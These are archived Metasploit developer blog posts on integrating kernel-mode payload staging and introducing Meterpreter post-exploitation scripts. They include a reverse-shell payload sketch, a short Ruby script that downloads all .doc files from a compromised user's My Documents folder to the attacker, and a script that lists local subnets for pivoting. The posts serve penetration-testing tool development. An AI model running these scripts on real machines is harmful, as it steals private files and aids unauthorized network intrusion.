Skip navigation
All Places > Metasploit > Blog > 2006 > October
2006

Originally Posted by skape

 

 

We recently decided to finally take a stab at integrating kernel-mode payloads into Metasploit 3.0.  This presented an interesting challenge for us in terms of architectural integration.  We wanted to make it so users could continue to use the existing set of user-mode payloads for both kernel and non-kernel exploits.  Strictly speaking, every payload in Metasploit to date is a user-mode payload, and as such they will not function properly with a kernel-mode exploit.  However, the goal of making it possible to re-use the existing payload modules meant either re-architecting the way the payload subsystem is designed or coming up with an alternative way of generically staging user-mode payloads from kernel-mode.  At the moment, we've opt'd for the latter choice.

 

In the current implementation, we assume that an exploit will either be exploiting a kernel-mode bug or a user-mode bug.  If it's a kernel-mode bug, the exploit should include the Msf::Exploit::KernelMode mixin.  This mixin overrides a method on the Msf::Exploit base class that is used during the process of encoding a payload.  Since the goal is to stage user-mode payloads from kernel-mode, the overriden method acts as an encapsulation step in the encoding process.  The method does this by passing the user-mode payload to a routine that selects the approrpriate kernel-mode stager (based on architecture, platform, and other restrictions).  The end result is a pre-encoded buffer that will first execute in kernel-mode and then eventually result in the embedded user-mode payload being executed.  Thus, for all intents and purposes, kernel-mode exploits are able to continue to use the existing set of user-mode payloads.

 

While this works fine, a more long term solution may involve abstracting the payload module design.  Rather than continuing to consider a payload module as being strictly buffer-centric, it may be better to represent it in terms of a series of containers (or functions).   A function is a more apt comparison.  When constructing a payload, it can undergo a series of mutations, each of which alters the payload in a certain way at a specific phase in construction, such as replacing variable values.  Given explicitly ordered containers, this can result in a payload being constructed from the ground up.  In principle, this means payload generation can be represented in a manner like:

windows/shell/reverse_tcp (1st stage with kernel-mode wrapper)

encapsulate_user_mode(
  replace_variable(
        replace_variable(
                generate_user_mode(),
              'LHOST',
              ...),
        'LPORT',
        ...)
)

 

Regardless of implementation, the fact that we have the initial integration of kernel-mode payloads complete can mean only one thing: it's time for Metasploit 3.0 to have some kernel-mode exploits.  To that point, H D has spent some time wrappering lorcon in ruby.  If successful, this will allow us to exploit some of those nefarious layer-2 WiFi bugs (yes, they do exist) out there, but it will only work on platforms that lorcon is compatible with.  Imagine what it will be like to get a user-mode meterpreter instance, without touching the disk, through a reverse TCP connection when exploiting a flaw in a wireless device driver.  If this were a mastercard commercial, I'd be shooting for the priceless slot.  Surely there will be more fun things to come.

 

Finally, the current code on trunk is somewhat limited.  There's only one kernel-mode stager defined for Windows and it will only work on XPSP2/2K3 SP1.  The stager we're using is basically a more limited implementation of the one described here.  In the near future, we'll integrate some other kernel-mode payloads, many of which we'll derive from previous research and any other useful kernel-mode payloads people want to send us.

Originally Posted by skape

 

 

One of the steps involved in completely automating exploitation is post-exploitation automation.  This is where steps are taken to automate the tasks that are performed after successfully exploiting a target host.  The meterpreter implementation in Metasploit 3.0 defines a programmatic interface for the attacker that helps to faciliate this automation, such as by making it easy to interact with processes, networking, and the file system.  While all of this has been present for some time, we have only recently added support for Meterpreter scripts.  The purpose of meterpreter scripts are to give end-users an easy interface to write quick scripts that can be run against remote targets after successful exploitation.  In the long term, we'll make it so that these scripts can run automatically each time a Meterpreter session is created, thus making the post-exploitation process completely automated.

 

Meterpreter scripts themselves are easy to write.  The hardest part is getting to know what the current API provides.  All of that information can be found in the API documentation.  To better illustrate what meterpreter scripts can do, let's implement one that automatically downloads all .doc files from the My Documents directory of the exploited user process on the remote server.  Here's what that script might look like:


client.fs.dir.entries('%USERPROFILE%\My Documents').grep(/doc$/i).each { |doc|
    dst = ::Dir.tmpdir + ::File::Separator + doc
    print_line("Downloading #{doc} to #{dst}")
    client.fs.file.download_file(dst, "%USERPROFILE%\\My Documents\\#{doc}")
}


The output to this script might look something like:


meterpreter > run download_doc_files
Downloading Personal Information.doc to /tmp/Personal Information.doc
Downloading Secret Passwords.doc to /tmp/Secret Passwords.doc


Of course, other more interesting things can be done as well.  Let's say you wanted to automatically determine local subnets on the remote host after you've successfully exploited a machine.  This information could then, at some point, be fed back into the exploitation automation database so that port scanner auxiliary modules could start scanning for new hosts.  The scans would all pivot through the now-compromised meterpreter instance.  To accomplish the simple task of finding local subnets, a meterpreter script could be used that looks like the code shown below:


client.net.config.each_route { |route|
    next if route.subnet !~ /^(192\.168|172\.|10\.)/
    next if route.netmask == '255.255.255.255'
    print_line("Local subnet: #{route.subnet}/#{route.netmask}")
}


The output to this might look something like:


meterpreter > run get_local_subnets
Local subnet: 10.44.200.0/255.255.255.0
Local subnet: 192.168.49.0/255.255.255.0
Local subnet: 192.168.117.0/255.255.255.0


While these scripts illustrate very simple tasks, it is equally possible to perform more complicated operations, such as uploading files to the remote host, modifying the registry, and so on.  If the existing meterpreter API isn't powerful enough to accomplish a particular need, it can be extended dynamically at runtime with other custom code.  As we move toward the future, the existing exploitation automation and post-exploitation automation should start to feed off one another.

 

Hopefully that's a good enough introduction to meterpreter scripts.  On another random note, I've indefinitely stopped work on the Metasploit Reversing Toolkit (as of a few months ago) for a number of reasons, not the least of which involves a severe lack of time.  With that said, I am spending time working, in a similar vein, on another tool that I hope will turn out to be a bit more fruitful.  I'll talk about that more at a later date.  While MSRT in its current form is far from useful, very minimalist, and in severe need of improvements across the board, I figured I might as well release what code I have in the event that it might be useful to others.  Beware, though, that it's hardly useful :)  Although, you will find a functional ruby wrapper for jt's disassembler in there.  You can download it here

.

Filter Blog

By date: By tag: